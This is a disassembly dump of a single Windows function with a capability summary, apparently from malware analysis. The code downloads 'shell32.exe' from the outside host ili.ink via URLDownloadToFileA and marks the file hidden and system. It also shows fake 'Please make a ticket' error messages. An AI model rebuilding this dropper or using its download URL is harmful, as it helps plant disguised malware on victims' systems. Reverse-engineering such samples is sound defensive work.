Function at 0x140001380
Capabilities:
Check if file exists
Download url
Get file attributes
Receive data
Set file attributes
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x90
movaps xmmword [rax - 0x28], xmm6
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x78], rax
lea rcx, [rsp + 0x58]
call fcn.1400011d0
nop
mov rbp, qword [rsp + 0x68]
test rbp, rbp
jne 0x1400013f0
mov r9d, 0x10
lea r8, [0x14000a674]
lea rdx, str.Invalid_permissions__Please_make_a_ticket_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, rbp
cmp rax, 0xc
jb 0x1400016ad
lea r12, [rsp + 0x58]
mov rsi, qword [rsp + 0x58]
mov r14, qword [rsp + 0x70]
cmp r14, 0xf
cmova r12, rsi
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x48], xmm1
lea r15, [rbp + 0xc]
mov ebx, 0xf
lea rdi, [rsp + 0x38]
cmp r15, rbx
jbe 0x1400014bf
mov rbx, r15
or rbx, 0xf
cmp rbx, rcx
jbe 0x140001481
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140007df0
test rax, rax
je 0x140001620
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1400014ba
mov eax, 0x16
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x14000149a
xor edi, edi
jmp 0x1400014ba
cmp rcx, 0x1000
jb 0x1400014b2
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400016b3
jmp 0x140001462
call fcn.140007df0
mov rdi, rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x50], rbx
mov r8, rbp
mov rdx, r12
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
movsd xmm0, qword [str._shell32.exe]
movsd qword [rdi + rbp], xmm0
mov eax, dword [0x14000a6b8]
mov dword [rdi + rbp + 8], eax
mov byte [rdi + r15], 0
lea rbx, [rsp + 0x38]
cmp qword [rsp + 0x50], 0xf
cmova rbx, qword [rsp + 0x38]
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, rbx
lea rdx, str.http:__ili.ink_shell32.exe
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
jns 0x14000154e
mov r9d, 0x10
lea r8, [0x14000a674]
lea rdx, str.Cloud_server_unreachable__Please_make_a_ticket_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
xorps xmm6, xmm6
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x140001587
mov r9d, 0x10
lea r8, [0x14000a674]
lea rdx, str.Sideloading_has_failed__Please_make_a_ticket_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov edx, 6
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
test eax, eax
jne 0x1400015c1
mov r9d, 0x10
lea r8, [0x14000a674]
lea rdx, str.Initializing_has_failed__Please_make_a_ticket_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov edx, 0xffffffff
movq rcx, xmm6
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
movq rcx, xmm6
call qword [sym.imp.KERNEL32.dll_CloseHandle]
psrldq xmm6, 8
movq rcx, xmm6
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rsp + 0x50]
cmp rdx, 0xf
jbe 0x14000162c
inc rdx
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001627
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001627
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140007e2c
movdqa xmm0, xmmword [0x14000ae60]
movdqu xmmword [rsp + 0x48], xmm0
mov byte [rsp + 0x38], 0
cmp r14, 0xf
jbe 0x140001679
lea rdx, [r14 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x140001671
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001671
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rsi
call fcn.140007e2c
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140007dd0
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r12
ret
call fcn.1400011b0
nop
call fcn.140001110
int3